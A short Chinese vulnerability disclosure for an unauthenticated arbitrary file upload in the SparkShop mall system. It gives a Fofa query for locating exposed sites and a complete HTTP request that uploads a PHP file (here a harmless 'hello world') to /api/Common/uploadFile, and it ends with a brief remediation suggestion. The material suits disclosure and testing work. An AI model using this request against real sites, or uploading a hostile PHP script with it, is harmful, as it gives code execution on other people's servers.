0x01 漏洞描述:
SparkShop(星火商城)是基于thinkphp6 + elementui的开源免费可商用的高性能商城系统。uploadFile中没有对上传文件进行校验导致任意文件上传,可执行shell脚本进一步利用。
0x02 搜索语句:
Fofa:"SparkShop"
0x03 漏洞复现:
POST /api/Common/uploadFile HTTP/2
Host: your-ip
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Length: 178
------WebKitFormBoundaryj7OlOPiiukkdktZR
Content-Disposition: form-data; name="file";filename="1.php"
<?php echo"hello world";?>
------WebKitFormBoundaryj7OlOPiiukkdktZR--
根据回显地址拼接访问
0x04 修复建议:
关闭互联网暴露面或接口设置访问权限